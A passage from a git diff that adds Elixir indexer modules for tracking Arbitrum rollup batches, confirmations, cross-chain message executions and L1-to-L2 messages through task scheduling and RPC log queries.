%{rollup_rpc: %{first_block: rollup_first_block}}, + data: %{ + historical_msg_from_l2_end_block: from_l2_end_block, + historical_msg_to_l2_end_block: to_l2_end_block + } + } = state + ) + when from_l2_end_block <= rollup_first_block and + to_l2_end_block <= rollup_first_block do + {:stop, :normal, state} + end + + # Plans the next iteration for the historical messages discovery based on the state's `progressed` flag. + # + # If no progress was made (`progressed` is false), schedules the next check based + # on the `recheck_interval`, adjusted by the time already spent. If progress was + # made, it imposes a shorter delay to quickly check again, helping to reduce CPU + # usage during idle periods. + # + # The chosen delay is used to schedule the next iteration of historical messages discovery + # by sending `:historical_msg_from_l2`. + # + # ## Parameters + # - `:plan_next_iteration`: The message that triggers this function. + # - `state`: The current state of the fetcher containing both the fetcher configuration + # and data needed to determine the next steps. + # + # ## Returns + # - `{:noreply, state}` where `state` contains the reset `duration` of the iteration and + # the flag if the messages discovery process `progressed`. + @impl GenServer + def handle_info( + :plan_next_iteration, + %{config: %{recheck_interval: _}, data: %{duration: _, progressed: _}} = state + ) do + next_timeout = + if state.data.progressed do + # For the case when all historical messages are not received yet + # make a small delay to release CPU a bit + :timer.seconds(@release_cpu_delay) + else + max(state.config.recheck_interval - div(state.data.duration, 1000), 0) + end + + Process.send_after(self(), :historical_msg_from_l2, next_timeout) + + new_data = + state.data + |> Map.put(:duration, 0) + |> Map.put(:progressed, false) + + {:noreply, %{state | data: new_data}} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/tracking_batches_statuses.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/tracking_batches_statuses.ex new file mode 100644 index 000000000000..a8818761d166 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/tracking_batches_statuses.ex @@ -0,0 +1,677 @@ +defmodule Indexer.Fetcher.Arbitrum.TrackingBatchesStatuses do + @moduledoc """ + Manages the tracking and updating of the statuses of rollup batches, + confirmations, and cross-chain message executions for an Arbitrum rollup. + + This module orchestrates the workflow for discovering new and historical + batches of rollup transactions, confirmations of rollup blocks, and executions + of L2-to-L1 messages. It ensures the accurate tracking and updating of the + rollup process stages. + + The fetcher uses a BufferedTask-based approach for task scheduling, where each + type of task is scheduled independently with appropriate intervals. This provides + better error isolation and task management. + + Task types include: + - `:new_batches`: Discovers new batches of rollup transactions and + updates their statuses. + - `:new_confirmations`: Identifies new confirmations of rollup blocks to + update their statuses. + - `:new_executions`: Finds new executions of L2-to-L1 messages to update + their statuses. + - `:historical_batches`: Processes historical batches of rollup + transactions. + - `:missing_batches`: Inspects for missing batches of rollup transactions. + - `:historical_confirmations`: Handles historical confirmations of + rollup blocks. + - `:historical_executions`: Manages historical executions of L2-to-L1 + messages. + - `:settlement_transactions_finalization`: Finalizes the status of lifecycle + transactions, confirming the blocks and messages involved. + + Task scheduling behavior: + Each task is responsible for its own re-scheduling. Some tasks (historical ones) + can be conditionally re-scheduled based on their completion status. The interval + between task executions is dynamic and can vary depending on: + - Task's returned status (e.g., :ok, :confirmation_missed, :not_ready) + - Current state of the system + - Type of the task (new vs historical) + - Failure frequency of the task + + For example, confirmation tasks use longer intervals when data is not yet + available (:confirmation_missed status) and shorter intervals when data is + ready for processing. + + Tasks that fail abnormally within a configurable threshold period will enter a + cooldown state for 10 minutes to prevent resource exhaustion. + + Initialization architecture: + The module uses a two-phase initialization process: + 1. Static configuration in `child_spec`: + - Extracts configuration from application environment + - Sets up initial intervals for tasks + - Configures RPC settings and basic parameters + This phase handles only configuration that is locally available and does + not depend on external data sources, ensuring supervisor startup can + proceed reliably. + + 2. Dynamic configuration in `initialize_workers`: + - Retrieves contract addresses through RPC calls + - Determines block numbers from database state + - Sets up task-specific data based on current chain state + This phase is executed as the first scheduled task, allowing for proper + error handling and retries if external data sources (RPC node, database) + are temporarily unavailable. This separation ensures system resilience + by keeping supervisor startup independent of external dependencies. + + Discovery of rollup transaction batches is executed by requesting logs on L1 + that correspond to the `SequencerBatchDelivered` event emitted by the Arbitrum + `SequencerInbox` contract. + + Discovery of rollup block confirmations is executed by requesting logs on L1 + that correspond to the `SendRootUpdated` event emitted by the Arbitrum `Outbox` + contract. + + Discovery of the L2-to-L1 message executions occurs by requesting logs on L1 + that correspond to the `OutBoxTransactionExecuted` event emitted by the + Arbitrum `Outbox` contract. + + When processing batches or confirmations, the L2-to-L1 messages included in + the corresponding rollup blocks are updated to reflect their status changes. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1, log_warning: 1] + + alias Indexer.BufferedTask + alias Indexer.Fetcher.Arbitrum.Workers.Batches.Tasks, as: BatchesDiscoveryTasks + alias Indexer.Fetcher.Arbitrum.Workers.Confirmations.Tasks, as: ConfirmationsDiscoveryTasks + alias Indexer.Fetcher.Arbitrum.Workers.{L1Finalization, NewL1Executions} + + alias EthereumJSONRPC.Arbitrum, as: ArbitrumRpc + alias EthereumJSONRPC.Utility.RangesHelper + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Helper, as: IndexerHelper + + require Logger + + @behaviour BufferedTask + + # 250ms interval between processing buffered entries. + # Note: This interval has no effect on retry behavior - when a task fails or + # is explicitly retried via :retry return value, it is re-queued and the next + # available task is picked up immediately without this delay. + @idle_interval 250 + # Only one task at a time + @max_concurrency 1 + # Process one task per batch + @max_batch_size 1 + + # 10 minutes cooldown interval for failed tasks + @cooldown_interval :timer.minutes(10) + + # Catchup tasks (historical batches, confirmations, etc.) need to run as quickly as possible + # since they are only needed when indexing a rollup chain that already has many blocks. + # This interval is hardcoded since these tasks should complete rapidly and don't need + # to be configurable. + @catchup_recheck_interval :timer.seconds(2) + + @stoppable_tasks [:historical_batches, :missing_batches, :historical_confirmations, :historical_executions] + + @typep fetcher_task :: + :new_batches + | :new_confirmations + | :new_executions + | :historical_batches + | :missing_batches + | :historical_confirmations + | :historical_executions + | :settlement_transactions_finalization + @typep queued_task :: :init_worker | {non_neg_integer(), fetcher_task()} + + @typep stoppable_fetcher_task :: + :historical_batches | :missing_batches | :historical_confirmations | :historical_executions + @typep completion_status :: %{stoppable_fetcher_task() => boolean()} + @typep fetcher_tasks_intervals :: %{fetcher_task() => non_neg_integer()} + @typep fetcher_tasks_data :: %{fetcher_task() => map()} + + # Creates a child specification for the BufferedTask supervisor. Extracts and merges + # configuration from application environment, sets up task intervals (standard for new + # tasks, catchup for historical ones), initializes RPC configurations for parent and + # rollup chains, and creates the initial state with task scheduling parameters. + # Returns a transient supervisor child spec with the configured BufferedTask. + def child_spec([init_options, gen_server_options]) do + {json_rpc_named_arguments, init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + # Extract configuration from application environment + config_common = Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum] + l1_rpc = config_common[:l1_rpc] + l1_rpc_block_range = config_common[:l1_rpc_block_range] + l1_rollup_address = config_common[:l1_rollup_address] + l1_rollup_init_block = config_common[:l1_rollup_init_block] + l1_start_block = config_common[:l1_start_block] + l1_rpc_chunk_size = config_common[:l1_rpc_chunk_size] + rollup_chunk_size = config_common[:rollup_chunk_size] + + config_tracker = Application.get_all_env(:indexer)[__MODULE__] + recheck_interval = config_tracker[:recheck_interval] + messages_to_blocks_shift = config_tracker[:messages_to_blocks_shift] + track_l1_transaction_finalization = config_tracker[:track_l1_transaction_finalization] + finalized_confirmations = config_tracker[:finalized_confirmations] + confirmation_batches_depth = config_tracker[:confirmation_batches_depth] + new_batches_limit = config_tracker[:new_batches_limit] + missing_batches_range = config_tracker[:missing_batches_range] + node_interface_address = config_tracker[:node_interface_contract] + + failure_interval_threshold = + config_tracker[:failure_interval_threshold] || min(20 * recheck_interval, :timer.minutes(10)) + + # Configure intervals for each task type + intervals = %{ + new_batches: recheck_interval, + new_confirmations: recheck_interval, + new_executions: recheck_interval, + historical_batches: @catchup_recheck_interval, + missing_batches: @catchup_recheck_interval, + historical_confirmations: @catchup_recheck_interval, + historical_executions: @catchup_recheck_interval, + settlement_transactions_finalization: recheck_interval + } + + indexer_first_block = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) + + # Set up initial configuration structure + initial_config = %{ + l1_rpc: %{ + json_rpc_named_arguments: IndexerHelper.json_rpc_named_arguments(l1_rpc), + logs_block_range: l1_rpc_block_range, + chunk_size: l1_rpc_chunk_size, + track_finalization: track_l1_transaction_finalization, + finalized_confirmations: finalized_confirmations + }, + rollup_rpc: %{ + json_rpc_named_arguments: json_rpc_named_arguments, + chunk_size: rollup_chunk_size + }, + recheck_interval: recheck_interval, + l1_rollup_address: l1_rollup_address, + l1_start_block: l1_start_block, + l1_rollup_init_block: l1_rollup_init_block, + new_batches_limit: new_batches_limit, + missing_batches_range: missing_batches_range, + messages_to_blocks_shift: messages_to_blocks_shift, + confirmation_batches_depth: confirmation_batches_depth, + node_interface_address: node_interface_address, + rollup_first_block: indexer_first_block, + failure_interval_threshold: failure_interval_threshold + } + + # Initial state structure + initial_state = %{ + config: initial_config, + intervals: intervals, + task_data: %{}, + completed_tasks: %{} + } + + buffered_task_init_options = + defaults() + |> Keyword.merge(init_options) + |> Keyword.put(:state, initial_state) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, buffered_task_init_options}, gen_server_options]}, + id: __MODULE__, + restart: :transient + ) + end + + defp defaults do + [ + flush_interval: @idle_interval, + max_concurrency: @max_concurrency, + max_batch_size: @max_batch_size, + poll: false, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :arbitrum_batches_tracker] + ] + end + + @impl BufferedTask + def init(initial, reducer, _state) do + # Schedule the initialization task immediately + reducer.(:init_worker, initial) + end + + @impl BufferedTask + @spec run([queued_task()], map()) :: {:ok, map()} | {:retry, [queued_task()], map()} | :retry + def run(tasks, state) + + # Initializes the worker state and schedules all tasks for execution. Configures the + # initial state with RPC/DB values, sets up tasks in order (new batches/confirmations/ + # executions followed by historical ones), defines their completion states, and + # conditionally disables missing batches discovery and settlement transactions + # finalization based on configuration. + def run([:init_worker], state) do + # Complete configuration with RPC/DB dependent values + configured_state = initialize_workers(state) + + # Get current timestamp for initial task scheduling + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + # Define all possible tasks with their initial timestamps in desired order + default_tasks_to_run = [ + {now, :new_batches}, + {now, :new_confirmations}, + {now, :new_executions}, + {now, :historical_batches}, + {now, :historical_confirmations}, + {now, :historical_executions}, + {now, :missing_batches}, + {now, :settlement_transactions_finalization} + ] + + # Define default completion state for all tasks + default_completion_state = %{ + historical_batches: false, + missing_batches: false, + historical_confirmations: false, + historical_executions: false + } + + # Process tasks and completion state based on configuration checks + {tasks_to_run, completion_state} = + {default_tasks_to_run, default_completion_state} + |> maybe_disable_missing_batches_discovery(configured_state) + |> maybe_disable_settlement_transactions_finalization(configured_state) + + BufferedTask.buffer(__MODULE__, tasks_to_run, false) + + updated_state = Map.put(configured_state, :completed_tasks, completion_state) + {:ok, updated_state} + end + + # Executes or returns a task back to the queue based on its timeout and failure threshold. + # + # The function evaluates three conditions in sequence: + # 1. Whether the task's timeout has elapsed (current time >= timeout) + # 2. Whether the task hasn't exceeded the failure threshold or is an initial task (timeout == 0) + # + # If all conditions are met, executes the appropriate task runner. Otherwise: + # - If timeout hasn't elapsed: Returns the task to the queue with the same timeout + # - If failure threshold exceeded: Applies a 10-minute cooldown and reschedules + # + # ## Parameters + # - `timeout`: Unix timestamp in milliseconds when the task should execute + # - `task_tag`: Atom identifying the type of task to run + # - `state`: Current state containing configuration and intervals + # + # ## Returns + # - `{:ok, state}` on successful execution + # - `{:retry, [{timeout, task_tag}], state}` when task needs to be rescheduled + def run([{timeout, task_tag}], state) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + with {:timeout_elapsed, true} <- {:timeout_elapsed, timeout <= now}, + {:threshold_ok, true} <- {:threshold_ok, now - timeout <= state.config.failure_interval_threshold}, + {:runner_defined, runner} when not is_nil(runner) <- {:runner_defined, Map.get(task_runners(), task_tag)} do + runner.(state) + else + {:timeout_elapsed, false} -> + # Task is scheduled for future execution, retry with same timeout + {:retry, [{timeout, task_tag}], state} + + {:threshold_ok, false} -> + # Task has been failing too frequently, apply cooldown + new_timeout = now + @cooldown_interval + + log_warning( + "Task #{task_tag} has been failing abnormally, applying cooldown for #{div(@cooldown_interval, 1000)} seconds" + ) + + {:retry, [{new_timeout, task_tag}], state} + + {:runner_defined, nil} -> + # Unknown task type + log_warning("Unknown task type: #{inspect(task_tag)}") + {:ok, state} + end + end + + defp task_runners do + %{ + new_batches: &handle_new_batches/1, + new_confirmations: &handle_new_confirmations/1, + new_executions: &handle_new_executions/1, + historical_batches: &handle_historical_batches/1, + missing_batches: &handle_missing_batches/1, + historical_confirmations: &handle_historical_confirmations/1, + historical_executions: &handle_historical_executions/1, + settlement_transactions_finalization: &handle_settlement_transactions_finalization/1 + } + end + + # Initializes the worker state with contract addresses and block information + @spec initialize_workers(%{ + :config => map(), + optional(any()) => any() + }) :: %{:config => map(), :task_data => fetcher_tasks_data(), optional(any()) => any()} + defp initialize_workers(state) do + json_l1_rpc_named_arguments = state.config.l1_rpc.json_rpc_named_arguments + l1_rollup_address = state.config.l1_rollup_address + + %{outbox: outbox_address, sequencer_inbox: sequencer_inbox_address} = + ArbitrumRpc.get_contracts_for_rollup( + l1_rollup_address, + :inbox_outbox, + json_l1_rpc_named_arguments + ) + + l1_start_block = Rpc.get_l1_start_block(state.config.l1_start_block, json_l1_rpc_named_arguments) + + new_batches_start_block = DbSettlement.l1_block_to_discover_latest_committed_batch(l1_start_block) + historical_batches_end_block = DbSettlement.l1_block_to_discover_earliest_committed_batch(l1_start_block - 1) + + new_confirmations_start_block = DbSettlement.l1_block_of_latest_confirmed_block(l1_start_block) + + new_executions_start_block = DbMessages.l1_block_to_discover_latest_execution(l1_start_block) + historical_executions_end_block = DbMessages.l1_block_to_discover_earliest_execution(l1_start_block - 1) + + {lowest_batch, missing_batches_end_batch} = DbSettlement.get_min_max_batch_numbers() + + updated_config = + Map.merge(state.config, %{ + l1_start_block: l1_start_block, + l1_outbox_address: outbox_address, + l1_sequencer_inbox_address: sequencer_inbox_address, + lowest_batch: lowest_batch + }) + + task_data = %{ + new_batches: %{ + start_block: new_batches_start_block + }, + historical_batches: %{ + end_block: historical_batches_end_block + # lowest_l1_block_for_commitments: nil <- will be added during handle_historical_batches + }, + new_confirmations: %{ + start_block: new_confirmations_start_block + }, + historical_confirmations: %{ + end_block: nil, + start_block: nil + # lowest_l1_block_for_confirmations: nil <- will be added during handle_historical_confirmations + }, + new_executions: %{ + start_block: new_executions_start_block + }, + historical_executions: %{ + end_block: historical_executions_end_block + }, + missing_batches: %{ + end_batch: missing_batches_end_batch + } + } + + %{state | config: updated_config, task_data: task_data} + end + + # Conditionally disables missing batches discovery based on configuration + @spec maybe_disable_missing_batches_discovery({[queued_task()], completion_status()}, %{ + optional(any()) => any() + }) :: {[queued_task()], completion_status()} + defp maybe_disable_missing_batches_discovery({tasks, completion}, state) do + if BatchesDiscoveryTasks.run_missing_batches_discovery?(state) do + {tasks, completion} + else + log_info("Missing batches inspection is disabled") + {delete_task_by_tag(tasks, :missing_batches), %{completion | missing_batches: true}} + end + end + + # Conditionally disables settlement transactions finalization based on configuration + @spec maybe_disable_settlement_transactions_finalization({[queued_task()], completion_status()}, %{ + optional(any()) => any() + }) :: {[queued_task()], completion_status()} + defp maybe_disable_settlement_transactions_finalization({tasks, completion}, state) do + if L1Finalization.run_settlement_transactions_finalization?(state) do + {tasks, completion} + else + log_info("Settlement transactions finalization is disabled") + {delete_task_by_tag(tasks, :settlement_transactions_finalization), completion} + end + end + + # Deletes a task from the tasks list by its tag, ignoring the timeout value + @spec delete_task_by_tag([queued_task()], fetcher_task()) :: [queued_task()] + defp delete_task_by_tag(tasks, tag) do + Enum.reject(tasks, fn {_timeout, task_tag} -> task_tag == tag end) + end + + # Handles the discovery of new batches of rollup transactions + defp handle_new_batches(state) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + {:ok, updated_state} = BatchesDiscoveryTasks.check_new(state) + + next_run_time = now + updated_state.intervals[:new_batches] + BufferedTask.buffer(__MODULE__, [{next_run_time, :new_batches}], false) + + {:ok, updated_state} + end + + # Handles the discovery of new confirmations for rollup blocks. Uses different intervals + # based on status: standard interval for :confirmation_missed, catchup interval for :ok, + # and DB migration check interval for :not_ready. When a confirmation is missed and + # historical confirmations task was completed, re-enables and reschedules the historical + # confirmations task with updated interval. + defp handle_new_confirmations(state) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + {status, updated_state} = ConfirmationsDiscoveryTasks.check_new(state) + + # Schedule next run for this task + # The same interval is used when `:ok` or `:confirmation_missed` statuses are returned, + # expecting that a specific DB migration task interval is returned for `:not_ready` status + next_run_time = + now + + ConfirmationsDiscoveryTasks.select_interval_by_status(status, %{ + standard: updated_state.intervals[:new_confirmations], + catchup: updated_state.intervals[:new_confirmations] + }) + + BufferedTask.buffer(__MODULE__, [{next_run_time, :new_confirmations}], false) + + # If confirmation was missed and historical confirmations task is completed, + # reset its completion flag and schedule it + if status == :confirmation_missed and updated_state.completed_tasks.historical_confirmations do + # Reset completion flag and update interval to match new confirmations + updated_completed_tasks = Map.put(updated_state.completed_tasks, :historical_confirmations, false) + + updated_intervals = + Map.put(updated_state.intervals, :historical_confirmations, updated_state.intervals.new_confirmations) + + final_state = %{updated_state | completed_tasks: updated_completed_tasks, intervals: updated_intervals} + + next_run_time = now + final_state.intervals[:historical_confirmations] + BufferedTask.buffer(__MODULE__, [{next_run_time, :historical_confirmations}], false) + + {:ok, final_state} + else + {:ok, updated_state} + end + end + + # Handles the discovery of new L2-to-L1 message executions + defp handle_new_executions(state) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + {:ok, updated_state} = NewL1Executions.discover_new_l1_messages_executions(state) + + next_run_time = now + updated_state.intervals[:new_executions] + BufferedTask.buffer(__MODULE__, [{next_run_time, :new_executions}], false) + + {:ok, updated_state} + end + + # Handles the discovery of historical batches of rollup transactions + defp handle_historical_batches(state) do + run_worker_with_conditional_rescheduling( + state, + :historical_batches, + &BatchesDiscoveryTasks.check_historical/1, + &BatchesDiscoveryTasks.historical_batches_discovery_completed?/1 + ) + end + + # Handles the inspection for missing batches + defp handle_missing_batches(state) do + run_worker_with_conditional_rescheduling( + state, + :missing_batches, + &BatchesDiscoveryTasks.inspect_for_missing/1, + &BatchesDiscoveryTasks.missing_batches_inspection_completed?/1 + ) + end + + # Handles the discovery of historical confirmations of rollup blocks + defp handle_historical_confirmations(state) do + run_worker_with_conditional_rescheduling( + state, + :historical_confirmations, + &ConfirmationsDiscoveryTasks.check_unprocessed/1, + &ConfirmationsDiscoveryTasks.historical_confirmations_discovery_completed?/1, + &select_historical_confirmations_interval/2, + true + ) + end + + # Selects interval for historical confirmations processing based on worker status. + # For :confirmation_missed status, uses longer :new_confirmations interval since data + # is not yet available. For :not_ready status, uses DB migration check interval to + # periodically check readiness. For all other statuses, uses shorter + # :historical_confirmations interval since data is available for rapid processing. + @spec select_historical_confirmations_interval(:confirmation_missed | :ok | :not_ready, %{ + :intervals => fetcher_tasks_intervals(), + optional(any()) => any() + }) :: + non_neg_integer() + defp select_historical_confirmations_interval(status, state) do + ConfirmationsDiscoveryTasks.select_interval_by_status(status, %{ + standard: state.intervals[:new_confirmations], + catchup: state.intervals[:historical_confirmations] + }) + end + + # Handles the discovery of historical L2-to-L1 message executions + defp handle_historical_executions(state) do + run_worker_with_conditional_rescheduling( + state, + :historical_executions, + &NewL1Executions.discover_historical_l1_messages_executions/1, + &NewL1Executions.historical_executions_discovery_completed?/1 + ) + end + + # Handles the finalization check of lifecycle transactions + defp handle_settlement_transactions_finalization(state) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + + L1Finalization.monitor_lifecycle_transactions(state) + + next_run_time = now + state.intervals[:settlement_transactions_finalization] + BufferedTask.buffer(__MODULE__, [{next_run_time, :settlement_transactions_finalization}], false) + + {:ok, state} + end + + # Executes a worker function and conditionally reschedules the task based on its completion status. + # + # ## Parameters + # - `state`: The current state containing completed tasks and intervals + # - `task_tag`: The identifier of the stoppable fetcher task + # - `worker_function`: The function to execute the task's work + # - `completion_check_function`: The function to check if the task is completed + # - `interval_selection_function`: Optional function to determine the next run interval + # - `any_status?`: Whether to accept any worker status or only :ok + # + # ## Returns + # - `{:ok, updated_state}` with the new state after task execution + @spec run_worker_with_conditional_rescheduling( + %{:completed_tasks => completion_status(), :intervals => fetcher_tasks_intervals(), optional(any()) => any()}, + stoppable_fetcher_task(), + function(), + function(), + function() | nil, + boolean() + ) :: + {:ok, + %{:completed_tasks => completion_status(), :intervals => fetcher_tasks_intervals(), optional(any()) => any()}} + defp run_worker_with_conditional_rescheduling( + state, + task_tag, + worker_function, + completion_check_function, + interval_selection_function \\ nil, + any_status? \\ false + ) do + now = DateTime.to_unix(DateTime.utc_now(), :millisecond) + {worker_status, state_after_worker_run} = worker_function.(state) + + # It allows to handle two cases when there is a strict requirement for the worker's status + # or when the worker's status is not important + case {any_status?, worker_status} do + {true, _} -> + nil + + {false, :ok} -> + nil + + _ -> + raise("Worker #{worker_function} returned unexpected status #{worker_status}") + end + + updated_state = update_completed_tasks(state_after_worker_run, task_tag, completion_check_function) + + if rescheduled?(task_tag, updated_state) do + interval = + if interval_selection_function do + interval_selection_function.(worker_status, updated_state) + else + updated_state.intervals[task_tag] + end + + next_run_time = now + interval + BufferedTask.buffer(__MODULE__, [{next_run_time, task_tag}], false) + end + + {:ok, updated_state} + end + + # Returns true if the task should be rescheduled (not marked as completed) + @spec rescheduled?(atom(), %{:completed_tasks => completion_status(), optional(any()) => any()}) :: boolean() + defp rescheduled?(task_tag, state) when task_tag in @stoppable_tasks do + not Map.get(state.completed_tasks, task_tag) + end + + defp rescheduled?(_task_tag, _state), do: true + + # Updates the completion status of a task in the state map based on the result of a completion check function. + @spec update_completed_tasks( + %{:completed_tasks => completion_status(), optional(any()) => any()}, + stoppable_fetcher_task(), + function() + ) :: %{ + :completed_tasks => completion_status(), + optional(any()) => any() + } + defp update_completed_tasks(state, task_tag, completion_check_function) do + updated_completed_tasks = Map.put(state.completed_tasks, task_tag, completion_check_function.(state)) + %{state | completed_tasks: updated_completed_tasks} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/tracking_messages_on_l1.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/tracking_messages_on_l1.ex new file mode 100644 index 000000000000..a0bd16bc36b9 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/tracking_messages_on_l1.ex @@ -0,0 +1,230 @@ +defmodule Indexer.Fetcher.Arbitrum.TrackingMessagesOnL1 do + @moduledoc """ + Manages the tracking and processing of new and historical cross-chain messages initiated on L1 for an Arbitrum rollup. + + This module is responsible for continuously monitoring and importing new messages + initiated from Layer 1 (L1) to Arbitrum's Layer 2 (L2), as well as discovering + and processing historical messages that were sent previously but have not yet + been processed. + + The fetcher's operation is divided into 3 phases, each initiated by sending + specific messages: + - `:init_worker`: Initializes the worker with the required configuration for message + tracking. + - `:check_new_msgs_to_rollup`: Processes new L1-to-L2 messages appearing on L1 as + the blockchain progresses. + - `:check_historical_msgs_to_rollup`: Retrieves historical L1-to-L2 messages that + were missed if the message synchronization process did not start from the + Arbitrum rollup's inception. + + While the `:init_worker` message is sent only once during the fetcher startup, + the subsequent sending of `:check_new_msgs_to_rollup` and + `:check_historical_msgs_to_rollup` forms the operation cycle of the fetcher. + + Discovery of L1-to-L2 messages is executed by requesting logs on L1 that correspond + to the `MessageDelivered` event emitted by the Arbitrum bridge contract. + Cross-chain messages are composed of information from the logs' data as well as from + the corresponding transaction details. To get the transaction details, RPC calls + `eth_getTransactionByHash` are made in chunks. + """ + + use GenServer + use Indexer.Fetcher + + import Indexer.Fetcher.Arbitrum.Utils.Helper, only: [increase_duration: 2] + + alias EthereumJSONRPC.Arbitrum, as: ArbitrumRpc + + alias Indexer.Fetcher.Arbitrum.Workers.NewMessagesToL2 + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Helper, as: IndexerHelper + + require Logger + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + Logger.metadata(fetcher: :arbitrum_bridge_l1) + + config_common = Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum] + l1_rpc = config_common[:l1_rpc] + l1_rpc_block_range = config_common[:l1_rpc_block_range] + l1_rollup_address = config_common[:l1_rollup_address] + l1_rollup_init_block = config_common[:l1_rollup_init_block] + l1_start_block = config_common[:l1_start_block] + l1_rpc_chunk_size = config_common[:l1_rpc_chunk_size] + + config_tracker = Application.get_all_env(:indexer)[__MODULE__] + recheck_interval = config_tracker[:recheck_interval] + + Process.send(self(), :init_worker, []) + + {:ok, + %{ + config: %{ + json_l2_rpc_named_arguments: args[:json_rpc_named_arguments], + json_l1_rpc_named_arguments: IndexerHelper.json_rpc_named_arguments(l1_rpc), + recheck_interval: recheck_interval, + l1_rpc_chunk_size: l1_rpc_chunk_size, + l1_rpc_block_range: l1_rpc_block_range, + l1_rollup_address: l1_rollup_address, + l1_start_block: l1_start_block, + l1_rollup_init_block: l1_rollup_init_block + }, + data: %{} + }} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Initializes the worker for discovering new and historical L1-to-L2 messages. + # + # This function prepares the initial parameters for the message discovery process. + # It fetches the Arbitrum bridge address and determines the starting block for + # new message discovery. If the starting block is not configured (set to a default + # value), the latest block number from L1 is used as the start. It also calculates + # the end block for historical message discovery. + # + # After setting these parameters, it immediately transitions to discovering new + # messages by sending the `:check_new_msgs_to_rollup` message. + # + # ## Parameters + # - `:init_worker`: The message triggering the initialization. + # - `state`: The current state of the process, containing configuration for data + # initialization and further message discovery. + # + # ## Returns + # - `{:noreply, new_state}` where `new_state` is updated with the bridge address, + # determined start block for new messages, and calculated end block for + # historical messages. + @impl GenServer + def handle_info( + :init_worker, + %{config: %{l1_rollup_address: _, json_l1_rpc_named_arguments: _, l1_start_block: _}, data: _} = state + ) do + %{bridge: bridge_address} = + ArbitrumRpc.get_contracts_for_rollup( + state.config.l1_rollup_address, + :bridge, + state.config.json_l1_rpc_named_arguments + ) + + l1_start_block = Rpc.get_l1_start_block(state.config.l1_start_block, state.config.json_l1_rpc_named_arguments) + new_msg_to_l2_start_block = DbMessages.l1_block_to_discover_latest_message_to_l2(l1_start_block) + historical_msg_to_l2_end_block = DbMessages.l1_block_to_discover_earliest_message_to_l2(l1_start_block - 1) + + Process.send(self(), :check_new_msgs_to_rollup, []) + + new_state = + state + |> Map.put( + :config, + Map.merge(state.config, %{ + l1_start_block: l1_start_block, + l1_bridge_address: bridge_address + }) + ) + |> Map.put( + :data, + Map.merge(state.data, %{ + new_msg_to_l2_start_block: new_msg_to_l2_start_block, + historical_msg_to_l2_end_block: historical_msg_to_l2_end_block + }) + ) + + {:noreply, new_state} + end + + # Initiates the process to discover and handle new L1-to-L2 messages initiated from L1. + # + # This function discovers new messages from L1 to L2 by retrieving logs for the + # calculated L1 block range. Discovered events are used to compose messages, which + # are then stored in the database. + # + # After processing, the function immediately transitions to discovering historical + # messages by sending the `:check_historical_msgs_to_rollup` message. + # + # ## Parameters + # - `:check_new_msgs_to_rollup`: The message that triggers the handler. + # - `state`: The current state of the fetcher, containing configuration and data + # needed for message discovery. + # + # ## Returns + # - `{:noreply, new_state}` where the starting block for the next new L1-to-L2 + # message discovery iteration is updated based on the results of the current + # iteration. + @impl GenServer + def handle_info(:check_new_msgs_to_rollup, %{data: _} = state) do + {handle_duration, {:ok, end_block}} = + :timer.tc(&NewMessagesToL2.discover_new_messages_to_l2/1, [ + state + ]) + + Process.send(self(), :check_historical_msgs_to_rollup, []) + + new_data = + Map.merge(state.data, %{ + duration: increase_duration(state.data, handle_duration), + new_msg_to_l2_start_block: end_block + 1 + }) + + {:noreply, %{state | data: new_data}} + end + + # Initiates the process to discover and handle historical L1-to-L2 messages initiated from L1. + # + # This function discovers historical messages by retrieving logs for a calculated L1 block range. + # The discovered events are then used to compose messages to be stored in the database. + # + # After processing, as it is the final handler in the loop, it schedules the + # `:check_new_msgs_to_rollup` message to initiate the next iteration. The scheduling of this + # message is delayed, taking into account the time spent on the previous handler's execution. + # + # ## Parameters + # - `:check_historical_msgs_to_rollup`: The message that triggers the handler. + # - `state`: The current state of the fetcher, containing configuration and data needed for + # message discovery. + # + # ## Returns + # - `{:noreply, new_state}` where the end block for the next L1-to-L2 message discovery + # iteration is updated based on the results of the current iteration. + @impl GenServer + def handle_info(:check_historical_msgs_to_rollup, %{config: %{recheck_interval: _}, data: _} = state) do + {handle_duration, {:ok, start_block}} = + :timer.tc(&NewMessagesToL2.discover_historical_messages_to_l2/1, [ + state + ]) + + next_timeout = max(state.config.recheck_interval - div(increase_duration(state.data, handle_duration), 1000), 0) + + Process.send_after(self(), :check_new_msgs_to_rollup, next_timeout) + + new_data = + Map.merge(state.data, %{ + duration: 0, + historical_msg_to_l2_end_block: start_block - 1 + }) + + {:noreply, %{state | data: new_data}} + end +end diff --git 